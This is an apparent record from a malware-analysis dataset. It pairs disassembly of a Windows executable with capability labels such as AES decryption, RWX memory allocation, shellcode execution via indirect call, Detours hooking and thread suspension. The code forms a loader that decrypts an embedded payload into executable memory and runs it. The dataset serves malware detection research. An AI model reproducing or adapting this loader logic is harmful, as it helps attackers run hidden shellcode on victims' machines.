joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400020a0
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push rbx
sub rsp, 0x20
mov r9d, dword [rcx]
mov r10, r8
xor r8d, r8d
mov rbx, rcx
lea eax, [r9*4]
test eax, eax
je 0x1400020dc
nop
movzx eax, byte [r8 + rdx]
mov byte [r8 + r10], al
inc r8d
mov r9d, dword [rcx]
lea eax, [r9*4]
cmp r8d, eax
jb 0x1400020c0
mov eax, dword [rcx + 4]
lea r9d, [r9*4]
inc eax
shl eax, 4
cmp r9d, eax
jae 0x1400022d9
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x10], r12
lea r12, str.cw
mov qword [rsp + 8], r14
mov qword [rsp], r15
lea r15d, [r9 + 2]
nop dword [rax]
mov edi, dword [rbx]
lea eax, [r9 - 4]
movzx r8d, byte [rax + r10]
xor edx, edx
lea eax, [r9 - 3]
movzx r11d, r8b
movzx esi, byte [rax + r10]
lea eax, [r9 - 2]
movzx ebp, byte [rax + r10]
lea eax, [r9 - 1]
movzx r14d, byte [rax + r10]
mov eax, r9d
shr eax, 2
div edi
test edx, edx
jne 0x1400021eb
mov eax, esi
mov ecx, esi
and rcx, 0xfffffffffffffff0
and eax, 0xf
add rcx, rax
xor edx, edx
mov eax, ebp
and eax, 0xf
movzx r11d, byte [rcx + r12]
mov ecx, ebp
and rcx, 0xfffffffffffffff0
add rcx, rax
mov eax, r14d
and eax, 0xf
movzx esi, byte [rcx + r12]
mov ecx, r14d
and rcx, 0xfffffffffffffff0
add rcx, rax
mov eax, r8d
and eax, 0xf
movzx ebp, byte [rcx + r12]
mov ecx, r8d
and rcx, 0xfffffffffffffff0
lea r8d, [rdi*4]
add rcx, rax
mov eax, r9d
div r8d
movzx r14d, byte [rcx + r12]
mov cl, 1
sub eax, 1
je 0x1400021e6
mov r8d, eax
nop word [rax + rax]
movzx eax, cl
add cl, cl
shr al, 7
movzx eax, al
imul edx, eax, 0x1b
xor cl, dl
sub r8, 1
jne 0x1400021d0
xor r11b, cl
jmp 0x140002249
cmp edi, 6
jbe 0x140002249
cmp edx, 4
jne 0x140002249
mov rax, r8
mov rcx, r8
and rcx, 0xfffffffffffffff0
and eax, 0xf
add rcx, rax
mov rax, rsi
and eax, 0xf
movzx r11d, byte [rcx + r12]
mov rcx, rsi
and rcx, 0xfffffffffffffff0
add rcx, rax
mov rax, rbp
and eax, 0xf
movzx esi, byte [rcx + r12]
mov rcx, rbp
and rcx, 0xfffffffffffffff0
add rcx, rax
mov rax, r14
and eax, 0xf
movzx ebp, byte [rcx + r12]
mov rcx, r14
and rcx, 0xfffffffffffffff0
add rcx, rax
movzx r14d, byte [rcx + r12]
mov ecx, r9d
lea eax, [rdi*4]
sub ecx, eax
xor r11b, byte [rcx + r10]
mov ecx, r9d
mov byte [r9 + r10], r11b
mov eax, dword [rbx]
shl eax, 2
sub ecx, eax
lea eax, [r15 - 1]
inc ecx
xor sil, byte [rcx + r10]
mov ecx, r9d
mov byte [rax + r10], sil
mov eax, dword [rbx]
shl eax, 2
sub ecx, eax
add ecx, 2
xor bpl, byte [rcx + r10]
mov ecx, r9d
mov byte [r15 + r10], bpl
add r9d, 4
mov eax, dword [rbx]
shl eax, 2
sub ecx, eax
lea eax, [r15 + 1]
add ecx, 3
add r15d, 4
xor r14b, byte [rcx + r10]
mov byte [rax + r10], r14b
mov eax, dword [rbx + 4]
inc eax
shl eax, 4
cmp r9d, eax
jb 0x140002120
mov r15, qword [rsp]
mov r14, qword [rsp + 8]
mov r12, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
mov rsi, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x38]
add rsp, 0x20
pop rbx
ret
Function at 0x140002b30
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x300]
sub rsp, 0x400
mov rax, qword [0x14002b008]
xor rax, rsp
mov qword [rbp + 0x2f0], rax
mov edi, 7
lea rdx, [rsp + 0x60]
mov ecx, edi
lea rax, [0x140027940]
nop dword [rax]
nop word [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x140002b80
movzx ecx, byte [rax]
mov byte [rdx], cl
mov dword [rsp + 0x40], 4
mov dword [rsp + 0x44], 0xa
mov dword [rsp + 0x30], 0x9030201
mov dword [rsp + 0x34], 0x7060504
mov dword [rsp + 0x38], 0xb0a0908
mov dword [rsp + 0x3c], 0xf0e0d0c
mov dword [rsp + 0x48], 0x9030201
mov dword [rsp + 0x4c], 0x7060504
mov dword [rsp + 0x50], 0xb0a0908
mov dword [rsp + 0x54], 0xf0e0d0c
call fcn.140006ba0
call fcn.140005e60
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
call fcn.140006380
lea rdx, [0x140002740]
lea rcx, [0x14002cdd8]
call fcn.140005660
call fcn.140005ed0
test eax, eax
lea rdx, str.hook_failed_n
lea rcx, str.hooked_succeed_n
cmovne rcx, rdx
call fcn.140001020
lea rax, [rsp + 0x30]
mov r8d, 0x380
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.140001500
xor ecx, ecx
mov edx, 0x381
mov r8d, 0x1000
mov rbx, rax
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
lea rcx, str.shellcode
mov rsi, rax
call fcn.140001020
mov rcx, rsi
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rbx]
lea rbx, [rbx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rbx - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rbx - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rbx - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rbx - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rbx - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rbx - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rbx - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdi, 1
jne 0x140002cc4
xor ecx, ecx
mov qword [0x14002cdc8], rsi
lea rax, [rsp + 0x48]
mov dword [0x14002cdb0], ecx
mov qword [0x14002cdc0], rcx
mov qword [0x14002cdb8], rax
mov dword [0x14002cdd0], 0x380
call rsi
xor eax, eax
mov rcx, qword [rbp + 0x2f0]
xor rcx, rsp
call fcn.140002e30
lea r11, [rsp + 0x400]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140003dd0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [rsp + 0x78]
sub rax, 0x10000
mov rcx, rax
call fcn.140004020
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x70]
cmp qword [rsp + 0x20], rax
jbe 0x140003eea
mov rax, qword [0x14002b030]
cmp qword [rsp + 0x20], rax
jb 0x140003e34
mov rax, qword [0x14002b038]
cmp qword [rsp + 0x20], rax
ja 0x140003e34
mov rax, qword [rsp + 0x20]
sub rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x140003df6
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140009430
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualQuery
test rax, rax
jne 0x140003e65
jmp 0x140003eea
cmp dword [rsp + 0x50], 0x10000
jne 0x140003ecd
cmp qword [rsp + 0x48], 0x10000
jb 0x140003ecd
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualAlloc
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140003eab
mov rax, qword [rsp + 0x28]
jmp 0x140003eec
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x140003ebb
xor eax, eax
jmp 0x140003eec
mov rax, qword [rsp + 0x20]
sub rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x140003ee5
mov rax, qword [rsp + 0x38]
sub rax, 0x10000
mov rcx, rax
call fcn.140004020
mov qword [rsp + 0x20], rax
jmp 0x140003df6
xor eax, eax
add rsp, 0x68
ret

Function at 0x140003f00
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rcx, qword [rsp + 0x70]
call fcn.140004060
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x78]
cmp qword [rsp + 0x20], rax
jae 0x140004016
mov rax, qword [0x14002b030]
cmp qword [rsp + 0x20], rax
jb 0x140003f5b
mov rax, qword [0x14002b038]
cmp qword [rsp + 0x20], rax
ja 0x140003f5b
mov rax, qword [rsp + 0x20]
add rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x140003f1d
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140009430
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualQuery
test rax, rax
jne 0x140003f8c
jmp 0x140004016
cmp dword [rsp + 0x50], 0x10000
jne 0x140003ff4
cmp qword [rsp + 0x48], 0x10000
jb 0x140003ff4
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualAlloc
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140003fd2
mov rax, qword [rsp + 0x28]
jmp 0x140004018
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x140003fe2
xor eax, eax
jmp 0x140004018
mov rax, qword [rsp + 0x20]
add rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x140004011
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140004060
mov qword [rsp + 0x20], rax
jmp 0x140003f1d
xor eax, eax
add rsp, 0x68
ret
Function at 0x1400040b0
Capabilities:
Hook routines via microsoft detours

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.140004640
mov qword [rsp + 0x28], 0
cmp qword [0x14002c168], 0
jne 0x1400040f8
cmp qword [0x14002c160], 0
je 0x1400040f8
mov rax, qword [0x14002c160]
mov qword [0x14002c168], rax
cmp qword [0x14002c168], 0
je 0x14000419e
mov rax, qword [0x14002c168]
cmp qword [rax + 0x10], 0
je 0x14000419e
mov rax, qword [0x14002c168]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x14000419e
mov rax, qword [0x14002c168]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x14000419e
mov rax, qword [0x14002c168]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x38]
cmp qword [rsp + 0x28], rax
jb 0x140004164
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x28], rax
jbe 0x14000416b
xor eax, eax
jmp 0x140004315
mov rax, qword [0x14002c168]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx + 0x48]
mov qword [rax + 0x10], rcx
mov r8d, 0x60
mov edx, 0xcc
mov rcx, qword [rsp + 0x28]
call fcn.140009430
mov rax, qword [rsp + 0x28]
jmp 0x140004315
mov rax, qword [0x14002c160]
mov qword [0x14002c168], rax
jmp 0x1400041c0
mov rax, qword [0x14002c168]
mov rax, qword [rax + 8]
mov qword [0x14002c168], rax
cmp qword [0x14002c168], 0
je 0x14000420d
cmp qword [0x14002c168], 0
je 0x14000420b
mov rax, qword [0x14002c168]
cmp qword [rax + 0x10], 0
je 0x14000420b
mov rax, qword [0x14002c168]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x14000420b
mov rax, qword [0x14002c168]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x14000420b
jmp 0x14000413c
jmp 0x1400041ae
mov rax, qword [rsp + 0x60]
and rax, 0xffff
mov eax, eax
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov r8, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.140004320
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x140004313
mov rax, qword [rsp + 0x48]
mov qword [0x14002c168], rax
mov rax, qword [0x14002c168]
mov dword [rax], 0x52727464
mov rax, qword [0x14002c168]
mov qword [rax + 0x10], 0
mov rax, qword [0x14002c168]
mov rcx, qword [0x14002c160]
mov qword [rax + 8], rcx
mov rax, qword [0x14002c168]
mov qword [0x14002c160], rax
mov qword [rsp + 0x40], 0
mov rax, qword [0x14002c168]
add rax, 0x60
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x2a8
jmp 0x1400042c4
mov eax, dword [rsp + 0x20]
dec eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 1
jle 0x1400042fe
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x40]
mov qword [rcx + rax + 0x48], rdx
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
jmp 0x1400042ba
mov rax, qword [0x14002c168]
mov rcx, qword [rsp + 0x40]
mov qword [rax + 0x10], rcx
jmp 0x14000413c
xor eax, eax
add rsp, 0x58
ret
Function at 0x140005030
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov r8d, 0x30
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x80]
call sub.KERNEL32.dll_VirtualQuery
nop
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140005077
xor al, al
jmp 0x140005119
mov rax, qword [rsp + 0x28]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp dword [rax], 0x4550
je 0x1400050a1
xor al, al
jmp 0x140005119
mov eax, 8
imul rax, rax, 0xc
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
cmp qword [rsp + 0x88], rax
jb 0x140005111
mov eax, 8
imul rax, rax, 0xc
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov ecx, 8
imul rcx, rcx, 0xc
mov rdx, qword [rsp + 0x30]
mov ecx, dword [rdx + rcx + 0x8c]
add rax, rcx
cmp qword [rsp + 0x88], rax
jae 0x140005111
mov al, 1
jmp 0x140005119
jmp 0x140005117
xor al, al
add rsp, 0x78
ret

Function at 0x140005420
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x38
mov rax, qword [0x14002c160]
mov qword [rsp + 0x28], rax
jmp 0x140005440
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 8]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x14000546f
lea r9, [rsp + 0x20]
mov r8d, 0x40
mov edx, 0x10000
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x14000546d
call sub.KERNEL32.dll_GetLastError
jmp 0x140005471
jmp 0x140005432
xor eax, eax
add rsp, 0x38
ret
Function at 0x140005d10
Capabilities:
Resume thread

Disassembly:
sub rsp, 0x68
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [0x14002c178], eax
je 0x140005d2b
mov eax, 0x10dd
jmp 0x140005e50
mov rax, qword [0x14002c190]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140005dd5
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x20]
movzx eax, byte [rax + 0x3e]
lea r9, [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
mov r8d, dword [rcx + 0x28]
mov edx, eax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x18]
call sub.KERNEL32.dll_VirtualProtect
mov rax, qword [rsp + 0x28]
cmp dword [rax + 8], 0
jne 0x140005da0
mov rax, qword [rsp + 0x28]
cmp qword [rax + 0x20], 0
je 0x140005da0
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x20]
call fcn.140004780
mov rax, qword [rsp + 0x28]
mov qword [rax + 0x20], 0
mov rax, qword [rsp + 0x28]
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov edx, 0x30
mov rcx, qword [rsp + 0x38]
call fcn.140002e50
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x28], rax
jmp 0x140005d37
mov qword [0x14002c190], 0
call fcn.1400051e0
mov rax, qword [0x14002c188]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x140005e39
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax + 8]
call sub.KERNEL32.dll_ResumeThread
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x48], rax
mov edx, 0x10
mov rcx, qword [rsp + 0x48]
call fcn.140002e50
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], rax
jmp 0x140005df1
mov qword [0x14002c188], 0
mov dword [0x14002c178], 0
xor eax, eax
add rsp, 0x68
ret
Function at 0x140006380
Capabilities:
Suspend thread

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
cmp dword [0x14002c17c], 0
je 0x14000639d
mov eax, dword [0x14002c17c]
jmp 0x140006463
call sub.KERNEL32.dll_GetCurrentThread
cmp qword [rsp + 0x50], rax
jne 0x1400063b0
xor eax, eax
jmp 0x140006463
mov ecx, 0x10
call fcn.140002e58
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x14000641e
mov dword [rsp + 0x20], 8
cmp qword [rsp + 0x28], 0
je 0x140006403
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov edx, 0x10
mov rcx, qword [rsp + 0x38]
call fcn.140002e50
mov qword [rsp + 0x28], 0
mov eax, dword [rsp + 0x20]
mov dword [0x14002c17c], eax
mov qword [0x14002c180], 0
mov eax, dword [rsp + 0x20]
jmp 0x140006463
mov rcx, qword [rsp + 0x50]
call sub.KERNEL32.dll_SuspendThread
cmp eax, 0xffffffff
jne 0x140006438
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
jmp 0x1400063d9
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x28]
mov rcx, qword [0x14002c188]
mov qword [rax], rcx
mov rax, qword [rsp + 0x28]
mov qword [0x14002c188], rax
xor eax, eax
add rsp, 0x48
ret
Function at 0x140006550
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x80], 0
jne 0x14000657d
xor ecx, ecx
call sub.KERNEL32.dll_GetModuleHandleW
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14000659d
mov ecx, 0xc1
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x140006716
mov rax, qword [rsp + 0x40]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp dword [rax], 0x4550
je 0x1400065d4
mov ecx, 0xbf
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x140006716
mov rax, qword [rsp + 0x38]
movzx eax, word [rax + 0x14]
test eax, eax
jne 0x1400065f2
mov ecx, 0xc0
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x140006716
mov rax, qword [rsp + 0x38]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x38]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x20], 0
jmp 0x14000661e
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x38]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x20], eax
jae 0x1400066fa
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
lea rdx, str..detour
mov rcx, rax
call fcn.140010ee0
test eax, eax
jne 0x1400066f5
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x48]
cmp dword [rcx + rax + 0xc], 0
je 0x140006683
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x48]
cmp dword [rcx + rax + 0x10], 0
jne 0x140006685
jmp 0x1400066fa
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x48]
mov eax, dword [rcx + rax + 0xc]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax]
cmp rax, 0x40
jb 0x1400066cb
mov rax, qword [rsp + 0x28]
cmp dword [rax + 4], 0x727444
je 0x1400066cd
jmp 0x1400066fa
mov rax, qword [rsp + 0x28]
cmp dword [rax + 8], 0
jne 0x1400066e7
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x28]
mov ecx, dword [rcx]
mov dword [rax + 8], ecx
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x28]
jmp 0x140006716
jmp 0x140006614
mov ecx, 0xc0
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x140006716
add rsp, 0x78
ret
Function at 0x140006720
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov rax, qword [rsp + 0x90]
add rax, 0x10000
mov qword [rsp + 0x30], rax
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x48]
call fcn.140009430
jmp 0x140006768
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov r8d, 0x30
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
call sub.KERNEL32.dll_VirtualQuery
test rax, rax
ja 0x140006787
jmp 0x14000682b
cmp dword [rsp + 0x68], 0x1000
jne 0x1400067ac
mov eax, dword [rsp + 0x6c]
and eax, 0xff
cmp eax, 1
je 0x1400067ac
mov eax, dword [rsp + 0x6c]
and eax, 0x100
test eax, eax
je 0x1400067ae
jmp 0x140006753
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
jne 0x1400067e4
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0x3c]
cmp rax, qword [rsp + 0x60]
ja 0x1400067e4
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0x3c]
cmp rax, 0x40
jae 0x1400067e9
jmp 0x140006753
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp dword [rax], 0x4550
jne 0x140006753
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x20]
jmp 0x14000682d
xor eax, eax
add rsp, 0x88
ret

Function at 0x140006a80
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x40]
call fcn.140009430
nop
mov r8d, 0x30
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x80]
call sub.KERNEL32.dll_VirtualQuery
test rax, rax
ja 0x140006aca
mov ecx, 0xc1
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x140006b92
cmp dword [rsp + 0x60], 0x1000
jne 0x140006aef
mov eax, dword [rsp + 0x64]
and eax, 0xff
cmp eax, 1
je 0x140006aef
mov eax, dword [rsp + 0x64]
and eax, 0x100
test eax, eax
je 0x140006b00
mov ecx, 0xc1
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x140006b92
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140006b27
mov ecx, 0xc1
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x140006b92
mov rax, qword [rsp + 0x28]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp dword [rax], 0x4550
je 0x140006b5b
mov ecx, 0xbf
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x140006b92
mov rax, qword [rsp + 0x30]
movzx eax, word [rax + 0x14]
test eax, eax
jne 0x140006b76
mov ecx, 0xc0
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x140006b92
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x28]
jmp 0x140006b92
add rsp, 0x78
ret

Function at 0x140010734
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140010530
Function at 0x1400157b4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400157e4
xor eax, eax
jmp 0x1400158a7
mov rbp, rbx
cmp word [rax], si
je 0x140015809
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400157f0
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400157ec
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400156d4
movsxd r14, eax
test eax, eax
jne 0x140015847
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400157dd
mov rcx, r14
call fcn.140011eb0
mov rdi, rax
test rax, rax
jne 0x140015860
xor ecx, ecx
call fcn.140011238
jmp 0x14001583c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400156d4
test eax, eax
jne 0x140015891
mov rcx, rdi
call fcn.140011238
jmp 0x14001589b
xor ecx, ecx
call fcn.140011238
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140019a8c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140019aa2
